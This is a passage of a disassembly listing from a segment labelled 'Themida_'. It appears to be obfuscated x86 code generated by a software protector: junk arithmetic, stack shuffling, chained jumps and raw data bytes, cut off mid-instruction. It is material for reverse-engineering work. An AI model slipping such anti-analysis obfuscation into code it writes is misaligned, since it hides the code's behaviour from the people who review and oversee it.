; --------------------------------------------------------------------------- loc_560FCB: ; CODE XREF: Themida_:005644A3j pop ecx mov bl, 9Dh jmp loc_556206 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF1826h, 0E92C77FFh, 0FFFF6DE6h, 35FCBF57h, 0D7F71D68h dd 8107EFC1h, 0B61606E7h, 5EFC157h, 0FFEE96E9h db 0FFh ; --------------------------------------------------------------------------- loc_560FF9: ; CODE XREF: Themida_:00555621j neg ebx xor ebx, 0D4B48E3h jmp loc_559C77 ; --------------------------------------------------------------------------- dw 9E35h dd 0E95AC4D7h, 6BF6h ; --------------------------------------------------------------------------- loc_561010: ; CODE XREF: Themida_:005576DFj push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx pop ebx jmp loc_558F46 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0E924248Bh, 0FFFFA60Ch, 0C44377BEh, 4EC810Fh, 0E9000000h dd 0FFFF5081h ; --------------------------------------------------------------------------- loc_56103C: ; CODE XREF: Themida_:00561AF8j mov eax, ebp push dword ptr [esp] pop ebp push 66CCh jmp loc_55EBFB ; --------------------------------------------------------------------------- dd 6A64C781h, 0C681D959h, 3CC4193Dh, 0EE81FE01h, 3CC4193Dh dd 83243C8Bh, 0EE8304C4h, 55586804h, 34890000h, 2474FF24h dd 2434FF04h, 0FF2CCFE9h, 0EA81FFh, 8B7A420Ah, 0C481241Ch dd 4, 8904EC83h, 74FF2414h, 8F5A0424h, 895C2404h, 9C502414h dd 0FF1759E9h db 0FFh ; --------------------------------------------------------------------------- loc_5610A5: ; CODE XREF: Themida_:00559B29j mov al, bl jmp loc_5614B3 ; --------------------------------------------------------------------------- dd 29C0C581h, 0BE5618C4h, 982DB3F3h, 525EF529h, 230DFABAh dd 5AD0015Dh, 0E952E829h, 0FFFF54E0h, 30FF665Ah, 0FF1729E9h dd 0F0285AFFh, 0FF1BBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5610DD: ; CODE XREF: Themida_:005667F2j mov [esp], ebp mov ebp, esp jmp loc_55608B ; --------------------------------------------------------------------------- dd offset dword_457444+44924h align 4 dd 0E9240489h, 5263h, 83241C8Bh, 55E904C4h, 8BFFFF91h dd 28E9240Ch db 2Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561107: ; CODE XREF: Themida_:0055FCE9j add esi, 4 xor esi, [esp] jmp loc_556A1A ; --------------------------------------------------------------------------- dw 0DBF7h dd 6978F381h, 24E991A1h, 8BFFFF55h, 0C481240Ch, 4, 0E92434FFh dd 0FFFFEF43h, 4C281h, 0FF520000h, 5A042474h, 8B24048Fh dd 4292424h, 0B3E99C24h, 68FFFF16h, 57381927h, 4E3C15Bh dd 0FFA9E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_561159: ; CODE XREF: Themida_:00554953j pop edi push 41C4h mov [esp], ecx jmp loc_55939D ; --------------------------------------------------------------------------- db 8Bh dd 4AE9240Ch db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56116F: ; CODE XREF: Themida_:0055531Aj push 458Fh mov [esp], ebp push ecx mov ecx, 0B613AD0h shr ecx, 2 push ebp mov ebp, 2DE36AB7h shl ebp, 5 xor ebp, 0C26714EFh add ecx, ebp mov ebp, [esp] add esp, 4 and ecx, 7FC84514h shl ecx, 1 add ecx, 1F2128E1h push ecx pop ebp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor [esp+4], ebp pop ebp jmp loc_5547BF ; --------------------------------------------------------------------------- dw 0C183h dd 4EC8104h, 89000000h, 26E9240Ch, 58FFFF40h, 4EC8350h dd 0FF5047E9h, 0FBDBAFFh, 0D5891119h, 8745BE5Ah, 65E978D8h dd 0C1FFFFF8h, 565005E5h, 841CC6BEh, 3939E942h, 0BF570000h dd 6FB4C5Eh, 0FF87EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_56120D: ; CODE XREF: Themida_:005612D9j pop ebx pop edx push dword ptr [esp] pop ebx add esp, 4 jmp loc_559DA9 ; --------------------------------------------------------------------------- db 0BDh dd 43152E7Eh, 0C581DDF7h, 81E08615h, 1D5E9h, 8DBB5300h dd 0E9270BEFh, 5D0Ah ; --------------------------------------------------------------------------- loc_561238: ; CODE XREF: Themida_:0055430Aj pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_560DE9 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 2C28100h, 87000000h, 0E95C2414h, 0FFFF184Eh, 0E9E38953h dd 0FFFF1B3Bh ; --------------------------------------------------------------------------- loc_561268: ; CODE XREF: Themida_:00566A80j xchg ebx, [esp] pop esp push ebp pop eax jmp loc_5630D3 ; --------------------------------------------------------------------------- db 83h dd 2C8702C5h, 9665C24h, 0E99C2404h, 0FFFF157Ah, 24048B66h dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFF701h ; --------------------------------------------------------------------------- loc_561298: ; CODE XREF: Themida_:0055EE07j mov cx, [esp] add esp, 2 push 5AC4h jmp loc_5674DB ; --------------------------------------------------------------------------- dd 3B49E943h, 0FE89FFFFh, 0FF8F1BE9h, 0CF815BFFh, 2B7A6770h dd 5F29BE56h, 0F7314691h, 38EF815Eh, 0E9557799h, 0FFFF6B15h ; --------------------------------------------------------------------------- loc_5612D4: ; CODE XREF: Themida_:00559B4Aj pop eax xchg ebp, [esp] pop esp jmp loc_56120D ; --------------------------------------------------------------------------- dw 0EA83h dd 24148704h, 2404895Ch, 0FFF27BE9h, 68FFh, 0C290000h dd 9A685924h, 8900004Ah, 38E9241Ch db 65h, 2 dup(0) ; --------------------------------------------------------------------------- loc_561303: ; CODE XREF: Themida_:00558C7Ej sub esp, 4 mov [esp], edi push esp pop edi sub esp, 4 mov [esp], ecx mov ecx, 69BA38C1h or ecx, 13836AE0h sub ecx, 1AEF099Dh sub ecx, 1 sub ecx, 60CC713Fh add edi, ecx jmp loc_560906 ; --------------------------------------------------------------------------- loc_561332: ; CODE XREF: Themida_:0055CADEj mov [esp], edi jmp loc_564DE5 ; --------------------------------------------------------------------------- dw 0D101h aZl4Sgk db 'Z‹4$éGK',0 dd 4EC8100h, 0E9000000h, 0FFFF3C23h ; --------------------------------------------------------------------------- loc_561350: ; CODE XREF: Themida_:00567C21j sub al, 0B7h jmp loc_558C1D ; --------------------------------------------------------------------------- db 31h dd 0C33240Ch, 6CBFE924h, 0D028FFFFh, 5266ED2Ch, 0D1E966B6h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56136F: ; CODE XREF: Themida_:0055C498j push 39FCh mov [esp], eax push ebx mov bh, cl jmp loc_560082 ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4C68300h, 0E9243487h, 1FA3h ; --------------------------------------------------------------------------- loc_561390: ; CODE XREF: Themida_:00556211j xor bl, 3 xor bl, al pop eax and ch, bl jmp loc_562173 ; --------------------------------------------------------------------------- loc_56139D: ; CODE XREF: Themida_:0055794Dj mov ebx, 6C5C2F81h inc ebx add ebx, 1ACC779Ah add ebx, 0B336541h xchg ecx, ebx not ecx xchg ecx, ebx neg ebx jmp loc_5529B6 ; --------------------------------------------------------------------------- dd 0FF143DE9h, 0EEE9ADFFh, 6600001Ah, 5624048Bh, 5B4BE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5613D2: ; CODE XREF: Themida_:00565525j mov esi, [esp] add esp, 4 sub edi, 211A6DEAh add edi, eax add edi, 211A6DEAh pop eax sub edx, edi pop edi jmp loc_55B758 ; --------------------------------------------------------------------------- db 81h dd 7B554BCAh, 81E2D127h, 0FFFFFFC2h, 7840E9FFh, 0EB01FFFFh dd 5BD8895Dh, 9FE9C101h, 0F7FFFF24h, 0B85043D3h, 3DF25BC2h dd 48BC309h, 4C48324h, 6651CB81h, 0F3816AF3h, 0CDC4C8C5h dd 3631C381h, 57E9FCBAh, 5D00003Dh, 515C292Dh, 0E9D8014Eh dd 0FFFFE724h, 9CEA815Fh, 0E964BD07h, 5DFDh, 57241489h dd 0C781E789h, 4, 82F6E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561462: ; CODE XREF: Themida_:005535FFj pop esp pop ebx push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 push edi push ebx mov ebx, 505116E0h jmp loc_553A03 ; --------------------------------------------------------------------------- loc_56147C: ; CODE XREF: Themida_:00562F29j mov esi, 1C60752Ah jmp loc_567BA8 ; --------------------------------------------------------------------------- dw 8104h dd 81241C8Bh, 4C4h, 2CD82800h, 2EC83C3h, 240C8966h, 4EC8352h dd 0FF4859E9h, 0D1F791FFh, 5E8C191h, 57E95755h db 20h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5614B3: ; CODE XREF: Themida_:005610A7j mov dh, al pop eax mov ah, dh pop edx pop ebx jmp loc_55FA70 ; --------------------------------------------------------------------------- db 87h dd 0E9D5F7E9h, 0FFFF9185h, 68240C89h, 2, 0FF3492E9h db 0FFh ; --------------------------------------------------------------------------- loc_5614D5: ; CODE XREF: Themida_:00560251j pop eax mov eax, [esp] add esp, 4 push 2DF2h jmp loc_55D6BC ; --------------------------------------------------------------------------- db 52h, 0F7h, 14h dd 0E2C15A24h, 1566E905h, 0FA01FFFFh, 4A52EA81h, 0EA8146DAh dd 7FEC0FC4h, 0E1BD555Fh, 45732E70h, 0DB2C581h, 0FE929E2h dd 68000005h, 34F1h, 50243C89h, 6E55CF68h, 0DC055830h dd 0C1478532h, 273505E0h, 2D3D0856h, 4961F3C5h, 34FFC789h dd 0FEE95824h, 68FFFF7Fh, 796E4046h, 309DE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56154E: ; CODE XREF: Themida_:0055CF80j sub ebx, 29630A12h xor eax, ebx push dword ptr [esp] pop ebx add esp, 4 push 51A6h mov [esp], edx jmp loc_5538F4 ; --------------------------------------------------------------------------- db 4Ah, 0E9h, 0CEh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561573: ; CODE XREF: Themida_:0055E95Fj add esp, 4 add ebx, esi pop esi shr ebx, 4 add ebx, 0F4F1D40Ah push edi mov edi, ebx mov esi, edi jmp loc_55C503 ; --------------------------------------------------------------------------- loc_56158F: ; CODE XREF: Themida_:005572F7j mov ecx, esp push edi mov edi, 5B820C9h jmp loc_55C4D2 ; --------------------------------------------------------------------------- dd 89C78147h, 0F7362F68h, 0D3F781DFh, 2DBCF42Ch, 3EC900D4h dd 233BE9h db 0 ; --------------------------------------------------------------------------- loc_5615B5: ; CODE XREF: Themida_:0055BF2Cj xchg esi, [esp] pop esp jmp loc_554800 ; --------------------------------------------------------------------------- dw 3BE9h dd 0BFFFFF12h, 0FFFFFFFFh, 0FFBB06E9h, 0CF8853FFh, 34E9h dd 81C78100h, 5560146Eh, 1C3AFCBDh, 5DEF0136h, 0BA52CF01h dd 4C744E2Ah, 132EEA81h, 0CCE91658h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5615F7: ; CODE XREF: Themida_:00553026j push dword ptr [esp] pop ebx push esi push esp pop esi add esi, 4 jmp loc_559704 ; --------------------------------------------------------------------------- db 52h, 88h, 0FEh dd 0FF2E76E9h db 0FFh ; --------------------------------------------------------------------------- loc_561611: ; CODE XREF: Themida_:005564E5j mov ebx, [esp] add esp, 4 add ebx, 19AC7487h sub ebx, 65FA78C6h add ebx, ebp add ebx, 65FA78C6h sub ebx, 19AC7487h pop ebp jmp loc_564054 ; --------------------------------------------------------------------------- dw 895Ch dd 3682414h, 89000065h, 0BB532424h, 4, 4245C01h, 0FF1EA1E9h dd 48B66FFh, 42F26824h, 2C890000h, 565D5424h, 0ED7196BEh dd 129BE922h, 0F7010000h, 0BE1E95Eh, 0B8500000h, 3C070540h dd 2508E0C1h, 4522076Bh, 0FFFFFC2Dh, 58C50104h, 547968h dd 241C8900h, 3B9BB951h, 0C1815593h, 0AA6CC469h, 8159CB89h dd 0BD1270C5h, 81DD0111h, 0BD1270EDh, 2C875B11h, 24248B24h dd 4EC8350h, 83242489h, 0E9042404h, 0FFFF24E0h, 100C03BAh dd 5AD72902h, 0FF2A0FE9h, 4EC83FFh, 0BD242C89h, 242448CAh dd 156C68h, 241C8900h, 106468h, 55CCE900h, 0C9B9FFFFh dd 890E1D1Ch, 822BE9CFh, 8F64FFFFh, 10F8E902h, 2C89FFFFh dd 184EBD24h, 0C5815F3Dh, 1A6217D4h, 0FFFADAE9h, 72F281FFh dd 897BF165h, 70E95AD1h, 50FFFF14h, 405E089h, 0E9000000h dd 0FFFFA572h ; --------------------------------------------------------------------------- loc_561734: ; CODE XREF: Themida_:005624AEj sub eax, ebp sub eax, 4C17EB6h mov ebp, [esp] jmp loc_560EEA ; --------------------------------------------------------------------------- loc_561743: ; CODE XREF: Themida_:005586A8j mov eax, [esp] add esp, 4 jmp loc_5620F0 ; --------------------------------------------------------------------------- dw 2D5Bh dd 4CD40E6Eh, 6E05C801h, 8B4CD40Eh, 5452240Ch, 4C2815Ah dd 83000000h, 0FF5204C2h, 0E9042474h, 0FFFF980Eh ; --------------------------------------------------------------------------- loc_561774: ; CODE XREF: Themida_:005534C2j pop edx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_55FA18 ; --------------------------------------------------------------------------- db 59h, 55h, 0BDh dd 4, 0E95DEB29h, 0FFFFA08Ah, 6624248Bh, 55240C8Bh, 0E904EC83h dd 0FFFF249Bh ; --------------------------------------------------------------------------- loc_5617A8: ; CODE XREF: Themida_:0055BBC3j mov ebp, 4A7D7581h shl ebp, 4 dec ebp not ebp sub ebp, 0FFFFFFFFh add ebp, 2235CD9h or esi, ebp pop ebp push edi push eax mov eax, 508C66B1h jmp loc_560E28 ; --------------------------------------------------------------------------- loc_5617CE: ; CODE XREF: Themida_:0055F32Cj push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp] pop esp jmp loc_552B49 ; --------------------------------------------------------------------------- loc_5617E0: ; CODE XREF: Themida_:0055934Aj mov ebx, 4 sub edi, 46592CC4h add edi, ebx add edi, 46592CC4h jmp loc_564070 ; --------------------------------------------------------------------------- dd 0AAE9DE01h, 29000022h, 24148BD0h, 5304C483h, 91724FBBh dd 0D8BF576Fh, 83725E35h, 0F78101EFh, 873E939Ch, 0E95FFB01h dd 0FFFF4F97h, 2EA81h, 14330000h, 24143124h, 8B241433h dd 89662424h, 0BFE9240Ch, 0BAFFFF0Fh, 4, 1423E9h, 3EE98100h dd 0E9585E4Dh, 0FFFF433Bh, 0DE30FCB3h, 0F3885B66h, 0FF1AF2E9h db 0FFh ; --------------------------------------------------------------------------- loc_561861: ; CODE XREF: Themida_:00565E7Aj mov al, cl pop ecx add al, 92h shr al, 3 push edx mov dl, 7Ah jmp loc_555FC5 ; --------------------------------------------------------------------------- db 89h, 4, 24h aPg@sR db 'G@é`R',0 align 4 loc_56187C: ; CODE XREF: Themida_:00563234j add bl, dl pop edx push 5C8h mov [esp], ecx mov ecx, esp push ebx mov ebx, 4 sub ecx, 6C9F3B1Ah add ecx, ebx add ecx, 6C9F3B1Ah mov ebx, [esp] add esp, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx mov cl, 0F7h not cl sub esp, 4 mov [esp], edx mov dh, 3Dh sub cl, 5Eh sub cl, dh add cl, 5Eh mov edx, [esp] jmp loc_55D167 ; --------------------------------------------------------------------------- dw 459h dd 2CE82826h, 141DE926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5618DA: ; CODE XREF: Themida_:00563DBFj push eax mov eax, edi mov ecx, eax pop eax pop edi jmp loc_5619B1 ; --------------------------------------------------------------------------- aXvspu db 'XVépU',0 dd 66E1F600h, 66CCB60Fh, 660E8768h, 66240C89h, 66C8B60Fh dd 0F7E99C51h db 0Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561907: ; CODE XREF: Themida_:0055E14Cj add ebp, 928956FCh add ebx, ebp pop ebp add edx, ebx push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx mov ebx, 7B367125h jmp loc_558D3A ; --------------------------------------------------------------------------- dd 0E9240433h, 0FFFF92CBh, 3911E95Bh, 835FFFFFh, 0CAE904C4h db 5Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561953: ; CODE XREF: Themida_:0056088Dj mov ebp, 1DFA020Fh add [esp+4], ebp pop ebp add dword ptr [esp], 5F291A78h sub [esp], eax sub dword ptr [esp], 5F291A78h push ebp mov ebp, 1DFA020Fh add dword ptr [esp+4], 542F551Eh sub [esp+4], ebp push edi jmp loc_55D692 ; --------------------------------------------------------------------------- loc_561986: ; CODE XREF: Themida_:00553FE4j push edx mov edx, 64686303h shl edx, 4 jmp loc_563AE7 ; --------------------------------------------------------------------------- dd 77EF8059h, 80FCC280h, 0FA28B4C2h, 5E77E9h, 35D8B800h dd 5748541Ch, 0FFFC12E9h db 0FFh ; --------------------------------------------------------------------------- loc_5619B1: ; CODE XREF: Themida_:005618E1j sub esi, ecx pop ecx push ecx push esi add dword ptr [esp], 4353D67h jmp loc_55DE22 ; --------------------------------------------------------------------------- loc_5619C2: ; CODE XREF: Themida_:00563F35j mov ecx, 34453D75h shr ecx, 4 shr ecx, 6 jmp loc_55CB09 ; --------------------------------------------------------------------------- loc_5619D2: ; CODE XREF: Themida_:00564E53j push ebp mov ebp, 515B428Ch sub eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55E2AC ; --------------------------------------------------------------------------- dd 0EF243481h, 58454540h, 4540EF35h, 0C5015945h, 242C3358h dd 0E9242C31h, 0FFFF9171h ; --------------------------------------------------------------------------- loc_561A04: ; CODE XREF: Themida_:005553C8j push ecx jmp loc_566745 ; --------------------------------------------------------------------------- dw 565Ch dd 2BEh, 5EF12900h, 0E9240C33h, 0FFFFF93Bh, 1D5180BEh dd 4E95E976h, 0EA31FFFFh, 730E95Dh, 4CBD0000h, 0F70F2677h dd 2C45E9DDh, 34FF0000h, 83535824h, 248904ECh, 4209E924h dd 0ED800000h, 0B86E956h, 0F7290000h, 8124348Bh, 4C4h dd 81EB8100h, 145C767h, 81C381FBh, 5F45C767h, 0BA52h, 0DA010000h dd 2462E953h, 0D5310000h, 6CC1815Ah, 2933040Ah, 0BA4FE9E9h dd 0CF25FFFFh, 2D274931h, 58B71963h, 0FF23A3E9h, 68E589FFh dd 65D0h, 0E9240489h, 0FFFF3743h, 0FDE9D1F7h, 0C1000039h dd 0EA8102E2h, 6E871F4Bh, 34FFD689h, 0E9525A24h, 0FFFF9B36h dd 4BEh, 42E98100h, 12A2643h, 42C181F1h, 0FF2A2643h, 815E2434h dd 4C4h, 240C3300h, 0E9240C31h, 27A6h ; --------------------------------------------------------------------------- loc_561AEC: ; CODE XREF: Themida_:00556A7Ej add esp, 4 add ebp, 323161Eh jmp loc_56103C ; --------------------------------------------------------------------------- db 52h, 0BAh, 2Dh dd 0E949181Bh, 0FFFF18B3h ; --------------------------------------------------------------------------- loc_561B08: ; CODE XREF: Themida_:00558070j mov [esp], edi mov edi, 63A53CADh neg edi push 6263h mov [esp], edi push edx pop edi pop edx sub edx, 1 xchg edx, edi shr edi, 1 or edi, 4CB40D21h jmp loc_5679C5 ; --------------------------------------------------------------------------- db 5Fh dd 1E60E9h, 24048300h, 53505904h, 2893E9h db 0 ; --------------------------------------------------------------------------- loc_561B41: ; CODE XREF: Themida_:00564CDEj sub edi, 12D87381h jmp loc_552B7D ; --------------------------------------------------------------------------- dd 0E99C5066h, 0FFFF0CAAh, 8904EC83h, 13BD242Ch, 315B559Eh dd 71BAE9E9h, 0E3C1FFFFh, 0FAF38105h, 1495C55h, 2E6EE9DAh dd 0E9500000h, 5A53h ; --------------------------------------------------------------------------- loc_561B7C: ; CODE XREF: Themida_:00561B93j mov eax, 4 push edi mov edi, 5C323D97h sub edx, edi pop edi add edx, eax push eax jmp loc_554B94 ; --------------------------------------------------------------------------- loc_561B92: ; CODE XREF: Themida_:00556DBEj push eax jmp loc_561B7C ; --------------------------------------------------------------------------- dd 0EF81DF01h, 4C4824C9h, 0FFEFE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_561BA5: ; CODE XREF: Themida_:00566094j xchg eax, [esp] pop esp push 0C63h mov [esp], esi mov esi, 1 add eax, esi jmp loc_553871 ; --------------------------------------------------------------------------- loc_561BBD: ; CODE XREF: Themida_:0055AA6Dj push ebx mov bh, 25h or bh, 0D5h xor bh, 88h mov al, bh pop ebx push ecx mov ch, 32h sub ch, 0E3h jmp loc_56346D ; --------------------------------------------------------------------------- loc_561BD4: ; CODE XREF: Themida_:00558C1Fj add al, 0B7h sub al, 0C2h mov ebx, [esp] push edi push esp pop edi sub esp, 4 mov [esp], edx mov edx, 4 add edi, 14FD1C9Ah add edi, edx sub edi, 14FD1C9Ah pop edx add edi, 4 sub esp, 4 mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] sub bl, 7Dh sub bl, 26h push small 4D06h mov [esp], cx mov cl, 84h add bl, 0A5h sub bl, cl sub bl, 0A5h jmp loc_5634C8 ; --------------------------------------------------------------------------- loc_561C2F: ; CODE XREF: Themida_:005676E0j add [esp+4], ebx pop ebx jmp loc_55F036 ; --------------------------------------------------------------------------- loc_561C39: ; CODE XREF: Themida_:005650C3j pop esp push edi jmp loc_556626 ; --------------------------------------------------------------------------- dd 0C331D831h, 6893D0F7h, 30FFh, 0BA241489h, 0BD78FB0Eh dd 3446E9h, 0A0BD5500h, 0F7350A59h, 4FF55DDh, 0F3E95D24h dd 5FFFFF73h, 0E904C183h, 0D5Bh, 355DB850h, 0E9485D23h dd 0FFFF3BFDh, 7710E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561C86: ; CODE XREF: Themida_:005632B9j pop edx push eax jmp loc_562FB5 ; --------------------------------------------------------------------------- loc_561C8D: ; CODE XREF: Themida_:005672ACj xchg ebx, [esp] pop esp mov [esp], ebp push esp pop ebp jmp loc_55A3D9 ; --------------------------------------------------------------------------- db 8Bh dd 5BE92414h, 0B4000032h, 0F6DCF6E3h, 7ECC0DCh, 0E4F480h dd 0EB8058E3h, 80C328DDh, 5166DDC3h, 0CB28E5B1h, 66525966h dd 0E62AE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CCA: ; CODE XREF: Themida_:00556D47j add edx, 31B154Dh push dword ptr [esp] pop eax add esp, 4 jmp loc_55609C ; --------------------------------------------------------------------------- db 5Eh dd 8BC8315Dh, 8951240Ch, 196857E1h, 5F17F740h, 330CE9h db 0 ; --------------------------------------------------------------------------- loc_561CF5: ; CODE XREF: Themida_:0055D7C8j xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 7B8Dh mov [esp], ebp push 1 mov ebp, [esp] jmp loc_55E735 ; --------------------------------------------------------------------------- db 57h dd 0A2028BFh, 31C1BD0Ah, 0FD29799Eh, 0C6E9515Fh db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D27: ; CODE XREF: Themida_:00558F52j mov esp, [esp] sub esp, 4 mov [esp], eax push esp pop eax sub esp, 4 mov [esp], ebp jmp loc_559B0A ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 81h dd 7A3495CDh, 0F1E5814Ch, 5668C048h, 0A16318BEh, 87E6D106h dd 1A80E9DEh, 6852FFFFh, 7BF16576h, 0F9B3E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561D66: ; CODE XREF: Themida_:0055F280j push ebx mov bh, 0EBh sub al, bh pop ebx sub al, bl add al, 0EBh push dword ptr [esp] jmp loc_55901E ; --------------------------------------------------------------------------- dd 4C381h, 0C3830000h, 241C8704h, 0FF38C7E9h, 6D7468FFh dd 14890000h, 39CB6824h, 0C890000h, 1542E924h, 0E951FFFFh dd 0FFFF3AB2h, 3066C181h, 815D0DD9h, 767A19E9h, 0E1814158h dd 765A3A89h, 0E981D9F7h, 5812BABCh, 0FF59C801h, 0E95D2434h dd 0FFFF5048h ; --------------------------------------------------------------------------- loc_561DCC: ; CODE XREF: Themida_:005554C1j mov eax, [esp] add esp, 4 push edx mov edx, esp push eax mov eax, 2962D84h neg eax xor eax, 7F9C72F8h dec eax not eax jmp loc_5649B0 ; --------------------------------------------------------------------------- db 89h, 0F9h, 5Fh dd 2B27E981h, 0EB81EAC3h, 4B4830B7h, 93E9CB29h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E03: ; CODE XREF: Themida_:0056693Fj pop dword ptr [esp] pop esp mov [esp], eax push 55E2h mov [esp], ecx push edx push 11683A27h pop edx add edx, 1 push esi push 1B2F2E9Dh pop esi and esi, 30923F26h neg esi neg esi dec esi shl esi, 2 jmp loc_566A48 ; --------------------------------------------------------------------------- db 5Ch, 89h, 24h dd 24048124h, 4, 5A2434FFh, 4C481h, 0C8E90000h, 6600003Ah dd 6624048Fh, 0AE19E95Ah, 0EBC0FFFFh, 2623E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_561E66: ; CODE XREF: Themida_:00564A6Cj add dword ptr [esp+4], 337A75BEh sub [esp+4], ebx push edx jmp loc_55BD8E ; --------------------------------------------------------------------------- dd 0C681EE01h, 744D2AEEh, 0FF892AE9h, 79C381FFh, 2902D97Fh dd 79EB81CBh, 5902D97Fh, 124EE9h, 25196800h, 815E54C6h dd 84447BF6h, 0E9F1895Fh, 3D4Fh, 927E95Bh, 2BE0000h, 81000000h dd 202706C3h, 7DEB8146h, 175B32Bh, 7DC381F3h, 0E975B32Bh dd 0FFFF8D8Eh ; --------------------------------------------------------------------------- loc_561ED0: ; CODE XREF: Themida_:0055FF62j mov ebx, [esp] add esp, 4 add al, 0E3h push ecx mov cl, 0AAh add cl, 0B1h add al, cl mov ecx, [esp] add esp, 4 mov dx, [esp] push ebp mov ebp, esp jmp loc_563CB1 ; --------------------------------------------------------------------------- dd 0E952ADh, 83FFFF2Dh, 8F6604C4h, 8F4E900h, 84BFFFFFh dd 0E93A1F07h, 4DEBh, 28E8F380h, 0EC815BD9h, 2, 24148966h dd 0FF55F1E9h, 5441BFFFh, 0D7F704C7h, 72D6B850h, 16E96A2Ch db 9, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F3B: ; CODE XREF: Themida_:00560C40j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push 80000h pop ebp and eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55956D ; --------------------------------------------------------------------------- dd 89240489h, 7445E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561F6A: ; CODE XREF: Themida_:0055DD96j dec edx neg edx add edx, 0BBE2EFEEh sub edi, 5C616C62h jmp loc_562858 ; --------------------------------------------------------------------------- dw 0CBB8h dd 53153925h, 822421BBh, 0AD45E92Ah, 48BFFFFh, 4C48124h dd 0E9000000h, 0FFFF0862h ; --------------------------------------------------------------------------- loc_561F9C: ; CODE XREF: Themida_:0055BAA2j pop esp add bl, al jmp loc_55F6BC ; --------------------------------------------------------------------------- dd 295FF889h, 58042444h, 3B240481h, 2931D32Bh, 2C81240Ch dd 0D32B3B24h, 3B1D6831h, 3C890000h, 0F9BB5324h, 0BF4B0E07h dd 0D58B762Bh, 15BDF01h, 5F04247Ch, 0FF6965E9h db 0FFh ; --------------------------------------------------------------------------- loc_561FDD: ; CODE XREF: Themida_:00562716j push esp pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax pop eax mov ebx, [esp] add esp, 4 push ebp mov ebp, 5F3015EBh push ecx mov ecx, 0A0CFEA19h add ebp, ecx pop ecx add ebx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_55F1C6 ; --------------------------------------------------------------------------- loc_56200F: ; CODE XREF: Themida_:0055F050j dec ecx not ecx add ecx, 41F52D75h add edi, 23015B12h jmp loc_55A3D2 ; --------------------------------------------------------------------------- db 89h dd 103568E1h, 0E7E90000h, 31FFFF6Eh, 0BAEE9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562036: ; CODE XREF: Themida_:005649DFj mov eax, ecx jmp loc_559659 ; --------------------------------------------------------------------------- db 5Ch, 66h, 89h dd 50662414h, 7B4E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56204A: ; CODE XREF: Themida_:0056036Aj mov ecx, [esp] add esp, 4 not ecx push 6DD4h mov [esp], eax push ecx pop eax pop ecx jmp loc_567751 ; --------------------------------------------------------------------------- loc_562065: ; CODE XREF: Themida_:00552828j push ebx mov ebx, 44D47D7Fh shr ebx, 5 sub ebx, 75F510AEh sub ecx, ebx pop ebx add ebx, ecx pop ecx sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx mov ch, 0B1h dec ch not ch jmp loc_5642EE ; --------------------------------------------------------------------------- loc_562092: ; CODE XREF: Themida_:0055B48Ej pop ecx jmp loc_55874A ; --------------------------------------------------------------------------- dd 15FF801h, 0E9042444h, 13B8h ; --------------------------------------------------------------------------- loc_5620A4: ; CODE XREF: Themida_:00557A32j push dword ptr [esp+4] jmp loc_5621F5 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 0FFFFDAA8h, 0C1F2D5Ch, 0F0014414h, 140C1F05h dd 7BC02D44h, 44E9743Dh, 68FFFF15h, 4AA5h, 0E9241489h dd 0FFFF083Bh, 0E95EF101h, 4BBDh ; --------------------------------------------------------------------------- loc_5620E4: ; CODE XREF: Themida_:005587A5j add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_563F8E ; --------------------------------------------------------------------------- loc_5620F0: ; CODE XREF: Themida_:00561749j push ebx mov ebx, 0D15641Ch sub ebx, 2EB236Ah sub ebx, 0F7FF0CC2h xor 